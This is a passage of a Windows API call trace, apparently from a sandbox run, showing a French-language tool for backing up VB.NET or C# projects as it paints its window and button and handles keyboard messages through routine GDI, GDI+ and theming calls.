(hdc=0x72010156, type=0x1) returned 0x1b00017 [0082.015] GetCurrentObject (hdc=0x72010156, type=0x2) returned 0x1900010 [0082.015] GetCurrentObject (hdc=0x72010156, type=0x7) returned 0x70050254 [0082.015] GetCurrentObject (hdc=0x72010156, type=0x6) returned 0x18a002e [0082.015] SaveDC (hdc=0x72010156) returned 1 [0082.015] GetTextAlign (hdc=0x72010156) returned 0x0 [0082.015] GetTextColor (hdc=0x72010156) returned 0x0 [0082.015] GetCurrentObject (hdc=0x72010156, type=0x6) returned 0x18a002e [0082.015] GetObjectW (in: h=0x18a002e, c=92, pv=0x32e7bc | out: pv=0x32e7bc) returned 92 [0082.015] SelectObject (hdc=0x72010156, h=0x100a0252) returned 0x18a002e [0082.016] GetBkMode (hdc=0x72010156) returned 2 [0082.016] SetBkMode (hdc=0x72010156, mode=1) returned 2 [0082.016] DrawTextExW (in: hdc=0x72010156, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x32e890, format=0x2415, lpdtp=0x27e175c | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x32e890) returned 13 [0082.016] DrawTextExW (in: hdc=0x72010156, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x32ea48, format=0x2015, lpdtp=0x27e175c | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x32ea48) returned 13 [0082.016] RestoreDC (hdc=0x72010156, nSavedDC=-1) returned 1 [0082.016] GdipReleaseDC (graphics=0x4c358c0, hdc=0x72010156) returned 0x0 [0082.016] GetFocus () returned 0x0 [0082.016] IsAppThemed () returned 0x1 [0082.016] GetThemeAppProperties () returned 0x3 [0082.016] GetThemeAppProperties () returned 0x3 [0082.016] GdipGetDC (graphics=0x4c358c0, hdc=0x32ec94) returned 0x0 [0082.016] BitBlt (hdc=0x3010821, x=0, y=0, cx=163, cy=29, hdcSrc=0x72010156, x1=0, y1=0, rop=0xcc0020) returned 1 [0082.016] GdipReleaseDC (graphics=0x4c358c0, hdc=0x72010156) returned 0x0 [0082.016] SelectPalette (hdc=0x3010821, hPal=0x188000b, bForceBkgd=0) returned 0x1d080842 [0082.017] SelectObject (hdc=0x72010156, h=0x185000f) returned 0x70050254 [0082.017] DeleteDC (hdc=0x72010156) returned 1 [0082.017] GdipDeleteGraphics (graphics=0x4c358c0) returned 0x0 [0082.017] EndPaint (hWnd=0x201e4, lpPaint=0x32ec38) returned 1 [0082.017] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0082.017] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0082.017] WaitMessage () returned 1 [0082.120] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0082.120] IsWindowUnicode (hWnd=0x201d6) returned 1 [0082.120] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0082.120] TranslateMessage (lpMsg=0x32f158) returned 0 [0082.120] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0082.120] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0082.120] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0082.120] WaitMessage () returned 1 [0082.331] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0082.331] IsWindowUnicode (hWnd=0x201d8) returned 1 [0082.331] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0082.331] TranslateMessage (lpMsg=0x32f158) returned 0 [0082.331] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0082.331] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0082.331] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 0 [0082.331] WaitMessage () returned 1 [0092.048] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0092.048] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x46, wParam=0x0, lParam=0x32f040) returned 0x0 [0092.049] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x46, wParam=0x0, lParam=0x32f040) returned 0x0 [0092.059] GetWindowPlacement (in: hWnd=0x50120, lpwndpl=0x32edf0 | out: lpwndpl=0x32edf0) returned 1 [0092.059] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x47, wParam=0x0, lParam=0x32f040) returned 0x0 [0092.059] GetClientRect (in: hWnd=0x50120, lpRect=0x32eda0 | out: lpRect=0x32eda0) returned 1 [0092.059] GetWindowRect (in: hWnd=0x50120, lpRect=0x32eda0 | out: lpRect=0x32eda0) returned 1 [0092.060] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x47, wParam=0x0, lParam=0x32f040) returned 0x0 [0092.060] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0xd, wParam=0x104, lParam=0x4b8edb8) returned 0x0 [0092.060] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x1c, wParam=0x1, lParam=0x518) returned 0x0 [0092.060] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x301b4, Msg=0x1c, wParam=0x1, lParam=0x518) returned 0x0 [0092.060] NtdllDefWindowProc_W () returned 0x0 [0092.060] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0092.070] GetFocus () returned 0x0 [0092.070] SetFocus (hWnd=0x201e4) returned 0x0 [0092.070] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0092.070] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0092.070] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0092.070] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0092.070] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0092.070] GetStockObject (i=5) returned 0x1900015 [0092.071] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x19 [0092.071] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0xd, wParam=0x1a, lParam=0x64ac98) returned 0x19 [0092.071] GetDlgItem (hDlg=0x50120, nIDDlgItem=131556) returned 0x201e4 [0092.071] SendMessageW (hWnd=0x201e4, Msg=0x202b, wParam=0x201e4, lParam=0x32e838) returned 0x0 [0092.071] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x202b, wParam=0x201e4, lParam=0x32e838) returned 0x0 [0092.071] InvalidateRect (hWnd=0x201e4, lpRect=0x0, bErase=0) returned 1 [0092.071] IsWindowUnicode (hWnd=0x201e4) returned 1 [0092.071] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0092.071] TranslateMessage (lpMsg=0x32f158) returned 0 [0092.071] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0092.071] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0092.071] IsWindowUnicode (hWnd=0x201e4) returned 1 [0092.071] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0092.071] GetKeyState (nVirtKey=16) returned 0 [0092.071] GetKeyState (nVirtKey=17) returned 0 [0092.071] GetKeyState (nVirtKey=18) returned -128 [0092.071] TranslateMessage (lpMsg=0x32f158) returned 1 [0092.071] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0092.072] GetKeyState (nVirtKey=16) returned 0 [0092.072] GetKeyState (nVirtKey=17) returned 0 [0092.072] GetKeyState (nVirtKey=18) returned -128 [0092.072] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x105, wParam=0x1b, lParam=0xe0010001) returned 0x0 [0092.072] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0092.072] IsWindowUnicode (hWnd=0x201e4) returned 1 [0092.072] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0092.072] GetKeyState (nVirtKey=16) returned 0 [0092.072] GetKeyState (nVirtKey=17) returned 0 [0092.072] GetKeyState (nVirtKey=18) returned 0 [0092.072] TranslateMessage (lpMsg=0x32f158) returned 1 [0092.072] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0092.072] GetKeyState (nVirtKey=16) returned 0 [0092.072] GetKeyState (nVirtKey=17) returned 0 [0092.072] GetKeyState (nVirtKey=18) returned 0 [0092.072] CallWindowProcW (lpPrevWndFunc=0x73cbb495, hWnd=0x201e4, Msg=0x101, wParam=0x12, lParam=0xc0380001) returned 0x0 [0092.072] PeekMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x32f158) returned 1 [0092.072] IsWindowUnicode (hWnd=0x201e4) returned 1 [0092.072] GetMessageW (in: lpMsg=0x32f158, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x32f158) returned 1 [0092.072] TranslateMessage (lpMsg=0x32f158) returned 0 [0092.072] DispatchMessageW (lpMsg=0x32f158) returned 0x0 [0092.072] BeginPaint (in: hWnd=0x201e4, lpPaint=0x32ec3c | out: lpPaint=0x32ec3c) returned 0x3010821 [0092.073] SelectPalette (hdc=0x3010821, hPal=0x1d080842, bForceBkgd=1) returned 0x188000b [0092.073] CreateCompatibleDC (hdc=0x3010821) returned 0x280107d6 [0092.073] SelectObject (hdc=0x280107d6, h=0x70050254) returned 0x185000f [0092.073] GdipCreateFromHDC (hdc=0x280107d6, graphics=0x32ec54) returned 0x0 [0092.073] GdipTranslateWorldTransform (graphics=0x4c358c0, dx=0x0, dy=0x0, order=0x0) returned 0x0 [0092.073] GdipSetClipRectI (graphics=0x4c358c0, x=0, y=0, width=163, height=29, combineMode=0x0) returned 0x0 [0092.073] GdipCreateMatrix (matrix=0x32ec9c) returned 0x0 [0092.073] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c35ba0) returned 0x0 [0092.073] GdipIsMatrixIdentity (matrix=0x4c35ba0, result=0x32ecb4) returned 0x0 [0092.073] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61af0 [0092.073] GdipGetMatrixElements (matrix=0x4c35ba0, matrixOut=0x4e61af0) returned 0x0 [0092.073] LocalFree (hMem=0x4e61af0) returned 0x0 [0092.073] GdipDeleteMatrix (matrix=0x4c35ba0) returned 0x0 [0092.073] GdipCreateRegion (region=0x32ec9c) returned 0x0 [0092.073] GdipGetClip (graphics=0x4c358c0, region=0x4c35bd0) returned 0x0 [0092.074] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32eca8) returned 0x0 [0092.074] GdipSaveGraphics (graphics=0x4c358c0, state=0x32ecd4) returned 0x0 [0092.074] GdipRestoreGraphics (graphics=0x4c358c0, state=0xfd970dbd) returned 0x0 [0092.074] GdipDeleteRegion (region=0x4c35bd0) returned 0x0 [0092.074] GdipGetDC (graphics=0x4c358c0, hdc=0x32eac0) returned 0x0 [0092.074] GetCurrentObject (hdc=0x280107d6, type=0x1) returned 0x1b00017 [0092.074] GetCurrentObject (hdc=0x280107d6, type=0x2) returned 0x1900010 [0092.074] GetCurrentObject (hdc=0x280107d6, type=0x7) returned 0x70050254 [0092.074] GetCurrentObject (hdc=0x280107d6, type=0x6) returned 0x18a002e [0092.074] SaveDC (hdc=0x280107d6) returned 1 [0092.074] GetNearestColor (hdc=0x280107d6, color=0xf0f0f0) returned 0xf0f0f0 [0092.074] GetNearestColor (hdc=0x280107d6, color=0xa0a0a0) returned 0xa0a0a0 [0092.074] GetNearestColor (hdc=0x280107d6, color=0x696969) returned 0x696969 [0092.074] GetNearestColor (hdc=0x280107d6, color=0xa0a0a0) returned 0xa0a0a0 [0092.074] GetNearestColor (hdc=0x280107d6, color=0x0) returned 0x0 [0092.074] GetNearestColor (hdc=0x280107d6, color=0xffffff) returned 0xffffff [0092.074] GetNearestColor (hdc=0x280107d6, color=0xe5e5e5) returned 0xe5e5e5 [0092.075] GetNearestColor (hdc=0x280107d6, color=0xd7d7d7) returned 0xd7d7d7 [0092.075] GetNearestColor (hdc=0x280107d6, color=0x0) returned 0x0 [0092.075] RestoreDC (hdc=0x280107d6, nSavedDC=-1) returned 1 [0092.075] GdipReleaseDC (graphics=0x4c358c0, hdc=0x280107d6) returned 0x0 [0092.075] IsAppThemed () returned 0x1 [0092.075] GetThemeAppProperties () returned 0x3 [0092.075] GetThemeAppProperties () returned 0x3 [0092.075] IsAppThemed () returned 0x1 [0092.075] GetThemeAppProperties () returned 0x3 [0092.075] GetThemeAppProperties () returned 0x3 [0092.075] DrawTextExW (in: hdc=0x11010846, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x32e97c, format=0x2415, lpdtp=0x2663d94 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x32e97c) returned 13 [0092.075] IsAppThemed () returned 0x1 [0092.075] GetThemeAppProperties () returned 0x3 [0092.075] GetThemeAppProperties () returned 0x3 [0092.075] IsAppThemed () returned 0x1 [0092.075] GetThemeAppProperties () returned 0x3 [0092.075] GetThemeAppProperties () returned 0x3 [0092.075] GetFocus () returned 0x201e4 [0092.075] IsAppThemed () returned 0x1 [0092.075] GetThemeAppProperties () returned 0x3 [0092.075] GetThemeAppProperties () returned 0x3 [0092.075] IsAppThemed () returned 0x1 [0092.076] GetThemeAppProperties () returned 0x3 [0092.076] GetThemeAppProperties () returned 0x3 [0092.076] IsThemePartDefined () returned 0x1 [0092.076] IsAppThemed () returned 0x1 [0092.076] GetThemeAppProperties () returned 0x3 [0092.076] GetThemeAppProperties () returned 0x3 [0092.076] IsThemeBackgroundPartiallyTransparent () returned 0x1 [0092.076] IsAppThemed () returned 0x1 [0092.076] GetThemeAppProperties () returned 0x3 [0092.076] GetThemeAppProperties () returned 0x3 [0092.076] IsAppThemed () returned 0x1 [0092.076] GetThemeAppProperties () returned 0x3 [0092.076] GetThemeAppProperties () returned 0x3 [0092.076] IsThemePartDefined () returned 0x1 [0092.076] GdipCreateRegion (region=0x32e9c4) returned 0x0 [0092.076] GdipGetClip (graphics=0x4c358c0, region=0x4c35bd0) returned 0x0 [0092.076] GdipCreateMatrix (matrix=0x32e9c4) returned 0x0 [0092.076] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c34f90) returned 0x0 [0092.076] GdipIsMatrixIdentity (matrix=0x4c34f90, result=0x32e9dc) returned 0x0 [0092.076] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61af0 [0092.076] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61af0) returned 0x0 [0092.076] LocalFree (hMem=0x4e61af0) returned 0x0 [0092.076] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61af0 [0092.076] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61af0) returned 0x0 [0092.076] LocalFree (hMem=0x4e61af0) returned 0x0 [0092.076] GdipDeleteMatrix (matrix=0x4c34f90) returned 0x0 [0092.077] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32ea04) returned 0x0 [0092.077] GdipIsInfiniteRegion (region=0x4c35bd0, graphics=0x4c358c0, result=0x32e9f4) returned 0x0 [0092.077] GdipGetRegionHRgn (region=0x4c35bd0, graphics=0x4c358c0, hRgn=0x32e9f4) returned 0x0 [0092.077] GdipDeleteRegion (region=0x4c35bd0) returned 0x0 [0092.077] GdipGetDC (graphics=0x4c358c0, hdc=0x32ea0c) returned 0x0 [0092.077] GetCurrentObject (hdc=0x280107d6, type=0x1) returned 0x1b00017 [0092.077] GetCurrentObject (hdc=0x280107d6, type=0x2) returned 0x1900010 [0092.077] GetCurrentObject (hdc=0x280107d6, type=0x7) returned 0x70050254 [0092.077] GetCurrentObject (hdc=0x280107d6, type=0x6) returned 0x18a002e [0092.077] SaveDC (hdc=0x280107d6) returned 1 [0092.077] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x4e0401e3 [0092.077] GetClipRgn (hdc=0x280107d6, hrgn=0x4e0401e3) returned 0 [0092.077] SelectClipRgn (hdc=0x280107d6, hrgn=0x4e040850) returned 2 [0092.077] DeleteObject (ho=0x4e0401e3) returned 1 [0092.077] DeleteObject (ho=0x4e040850) returned 1 [0092.077] OffsetViewportOrgEx (in: hdc=0x280107d6, x=0, y=0, lppt=0x2664444 | out: lppt=0x2664444) returned 1 [0092.077] DrawThemeParentBackground () returned 0x0 [0092.077] GetWindowPlacement (in: hWnd=0x50120, lpwndpl=0x32e780 | out: lpwndpl=0x32e780) returned 1 [0092.078] GetClientRect (in: hWnd=0x50120, lpRect=0x32e72c | out: lpRect=0x32e72c) returned 1 [0092.078] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0092.078] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0092.078] GetSystemMetrics (nIndex=42) returned 0 [0092.078] GetWindowTextW (in: hWnd=0x50120, lpString=0x32e5bc, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0092.078] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32e5bc) returned 0x23 [0092.078] GetClientRect (in: hWnd=0x50120, lpRect=0x32e634 | out: lpRect=0x32e634) returned 1 [0092.078] GetCurrentObject (hdc=0x280107d6, type=0x1) returned 0x1b00017 [0092.078] GetCurrentObject (hdc=0x280107d6, type=0x2) returned 0x1900010 [0092.078] GetCurrentObject (hdc=0x280107d6, type=0x7) returned 0x70050254 [0092.078] GetCurrentObject (hdc=0x280107d6, type=0x6) returned 0x18a002e [0092.078] SaveDC (hdc=0x280107d6) returned 2 [0092.078] GetNearestColor (hdc=0x280107d6, color=0xf0f0f0) returned 0xf0f0f0 [0092.078] CreateSolidBrush (color=0xf0f0f0) returned 0x1e10084d [0092.078] FillRect (hDC=0x280107d6, lprc=0x32e4d4, hbr=0x1e10084d) returned 1 [0092.078] DeleteObject (ho=0x1e10084d) returned 1 [0092.078] RestoreDC (hdc=0x280107d6, nSavedDC=-1) returned 1 [0092.079] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0092.079] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0092.079] GetSystemMetrics (nIndex=42) returned 0 [0092.079] GetWindowTextW (in: hWnd=0x50120, lpString=0x32e55c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0092.079] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32e55c) returned 0x23 [0092.079] GetClientRect (in: hWnd=0x50120, lpRect=0x32e5d4 | out: lpRect=0x32e5d4) returned 1 [0092.079] GetCurrentObject (hdc=0x280107d6, type=0x1) returned 0x1b00017 [0092.079] GetCurrentObject (hdc=0x280107d6, type=0x2) returned 0x1900010 [0092.079] GetCurrentObject (hdc=0x280107d6, type=0x7) returned 0x70050254 [0092.079] GetCurrentObject (hdc=0x280107d6, type=0x6) returned 0x18a002e [0092.079] SaveDC (hdc=0x280107d6) returned 2 [0092.079] GetNearestColor (hdc=0x280107d6, color=0xf0f0f0) returned 0xf0f0f0 [0092.079] CreateSolidBrush (color=0xf0f0f0) returned 0x1f10084d [0092.079] FillRect (hDC=0x280107d6, lprc=0x32e474, hbr=0x1f10084d) returned 1 [0092.079] DeleteObject (ho=0x1f10084d) returned 1 [0092.079] RestoreDC (hdc=0x280107d6, nSavedDC=-1) returned 1 [0092.079] GetWindowTextLengthW (hWnd=0x50120) returned 35 [0092.079] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0092.079] GetSystemMetrics (nIndex=42) returned 0 [0092.079] GetWindowTextW (in: hWnd=0x50120, lpString=0x32e55c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0092.079] CallWindowProcW (lpPrevWndFunc=0x778825dd, hWnd=0x50120, Msg=0xd, wParam=0x24, lParam=0x32e55c) returned 0x23 [0092.080] RestoreDC (hdc=0x280107d6, nSavedDC=-1) returned 1 [0092.080] GdipReleaseDC (graphics=0x4c358c0, hdc=0x280107d6) returned 0x0 [0092.080] IsAppThemed () returned 0x1 [0092.080] GetThemeAppProperties () returned 0x3 [0092.080] GetThemeAppProperties () returned 0x3 [0092.080] IsAppThemed () returned 0x1 [0092.080] GetThemeAppProperties () returned 0x3 [0092.080] GetThemeAppProperties () returned 0x3 [0092.080] IsThemePartDefined () returned 0x1 [0092.080] GdipCreateRegion (region=0x32e968) returned 0x0 [0092.080] GdipGetClip (graphics=0x4c358c0, region=0x4c35ba0) returned 0x0 [0092.080] GdipCreateMatrix (matrix=0x32e968) returned 0x0 [0092.080] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c35c30) returned 0x0 [0092.080] GdipIsMatrixIdentity (matrix=0x4c35c30, result=0x32e980) returned 0x0 [0092.080] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61af0 [0092.080] GdipGetMatrixElements (matrix=0x4c35c30, matrixOut=0x4e61af0) returned 0x0 [0092.080] LocalFree (hMem=0x4e61af0) returned 0x0 [0092.080] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61af0 [0092.080] GdipGetMatrixElements (matrix=0x4c35c30, matrixOut=0x4e61af0) returned 0x0 [0092.080] LocalFree (hMem=0x4e61af0) returned 0x0 [0092.080] GdipDeleteMatrix (matrix=0x4c35c30) returned 0x0 [0092.081] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e9a8) returned 0x0 [0092.081] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e998) returned 0x0 [0092.081] GdipGetRegionHRgn (region=0x4c35ba0, graphics=0x4c358c0, hRgn=0x32e998) returned 0x0 [0092.081] GdipDeleteRegion (region=0x4c35ba0) returned 0x0 [0092.081] GdipGetDC (graphics=0x4c358c0, hdc=0x32e9b0) returned 0x0 [0092.081] GetCurrentObject (hdc=0x280107d6, type=0x1) returned 0x1b00017 [0092.081] GetCurrentObject (hdc=0x280107d6, type=0x2) returned 0x1900010 [0092.081] GetCurrentObject (hdc=0x280107d6, type=0x7) returned 0x70050254 [0092.081] GetCurrentObject (hdc=0x280107d6, type=0x6) returned 0x18a002e [0092.081] SaveDC (hdc=0x280107d6) returned 1 [0092.081] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x4f040850 [0092.081] GetClipRgn (hdc=0x280107d6, hrgn=0x4f040850) returned 0 [0092.081] SelectClipRgn (hdc=0x280107d6, hrgn=0x500401e3) returned 2 [0092.081] DeleteObject (ho=0x4f040850) returned 1 [0092.081] DeleteObject (ho=0x500401e3) returned 1 [0092.081] OffsetViewportOrgEx (in: hdc=0x280107d6, x=0, y=0, lppt=0x2664e7c | out: lppt=0x2664e7c) returned 1 [0092.082] IsAppThemed () returned 0x1 [0092.082] GetThemeAppProperties () returned 0x3 [0092.082] GetThemeAppProperties () returned 0x3 [0092.082] DrawThemeBackground () returned 0x0 [0092.082] RestoreDC (hdc=0x280107d6, nSavedDC=-1) returned 1 [0092.082] GdipReleaseDC (graphics=0x4c358c0, hdc=0x280107d6) returned 0x0 [0092.082] GdipCreateRegion (region=0x32e950) returned 0x0 [0092.082] GdipGetClip (graphics=0x4c358c0, region=0x4c35ba0) returned 0x0 [0092.082] GdipCreateMatrix (matrix=0x32e950) returned 0x0 [0092.082] GdipGetWorldTransform (graphics=0x4c358c0, matrix=0x4c34f90) returned 0x0 [0092.082] GdipIsMatrixIdentity (matrix=0x4c34f90, result=0x32e968) returned 0x0 [0092.082] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61af0 [0092.082] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61af0) returned 0x0 [0092.082] LocalFree (hMem=0x4e61af0) returned 0x0 [0092.082] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4e61af0 [0092.082] GdipGetMatrixElements (matrix=0x4c34f90, matrixOut=0x4e61af0) returned 0x0 [0092.082] LocalFree (hMem=0x4e61af0) returned 0x0 [0092.082] GdipDeleteMatrix (matrix=0x4c34f90) returned 0x0 [0092.083] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e990) returned 0x0 [0092.083] GdipIsInfiniteRegion (region=0x4c35ba0, graphics=0x4c358c0, result=0x32e980) returned 0x0 [0092.083] GdipGetRegionHRgn (region=0x4c35ba0, graphics=0x4c358c0, hRgn=0x32e980) returned 0x0 [0092.083] GdipDeleteRegion (region=0x4c35ba0) returned 0x0 [0092.083] GdipGetDC (graphics=0x4c358c0, hdc=0x32e998) returned 0x0 [0092.083] GetCurrentObject (hdc=0x280107d6, type=0x1) returned 0x1b00017 [0092.083] GetCurrentObject (hdc=0x280107d6, type=0x2) returned 0x1900010 [0092.083] GetCurrentObject (hdc=0x280107d6, type=0x7) returned 0x70050254 [0092.083] GetCurrentObject (hdc=0x280107d6, type=0x6) returned 0x18a002e [0092.083] SaveDC (hdc=0x280107d6) returned 1 [0092.083] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x510401e3 [0092.083] GetClipRgn (hdc=0x280107d6, hrgn=0x510401e3) returned 0 [0092.083] SelectClipRgn (hdc=0x280107d6, hrgn=0x50040850) returned 2 [0092.083] DeleteObject (ho=0x510401e3) returned 1 [0092.083] DeleteObject (ho=0x50040850) returned 1 [0092.083] OffsetViewportOrgEx (in: hdc=0x280107d6, x=0, y=0, lppt=0x2665150 | out: lppt=0x2665150) returned 1 [0092.084] IsAppThemed () returned 0x1 [0092.084] GetThemeAppProperties () returned 0x3 [0092.084] GetThemeAppProperties () returned 0x3 [0092.084] GetThemeBackgroundContentRect () returned 0x0 [0092.084] RestoreDC (hdc=0x280107d6, nSavedDC=-1) returned 1 [0092.084] GdipReleaseDC (graphics=0x4c358c0, hdc=0x280107d6) returned 0x0 [0092.084] IsAppThemed () returned 0x1 [0092.084] GetThemeAppProperties () returned 0x3 [0092.084] GetThemeAppProperties () returned 0x3 [0092.084] GdipGetTextRenderingHint (graphics=0x4c358c0, mode=0x32eac8) returned 0x0 [0092.084] GdipGetDC (graphics=0x4c358c0, hdc=0x32eab4) returned 0x0 [0092.084] GetCurrentObject (hdc=0x280107d6, type=0x1) returned 0x1b00017 [0092.084] GetCurrentObject (hdc=0x280107d6, type=0x2) returned 0x1900010 [0092.084] GetCurrentObject (hdc=0x280107d6, type=0x7) returned 0x70050254 [0092.084] GetCurrentObject (hdc=0x280107d6, type=0x6) returned 0x18a002e [0092.084] SaveDC (hdc=0x280107d6) returned 1 [0092.084] GetTextAlign (hdc=0x280107d6) returned 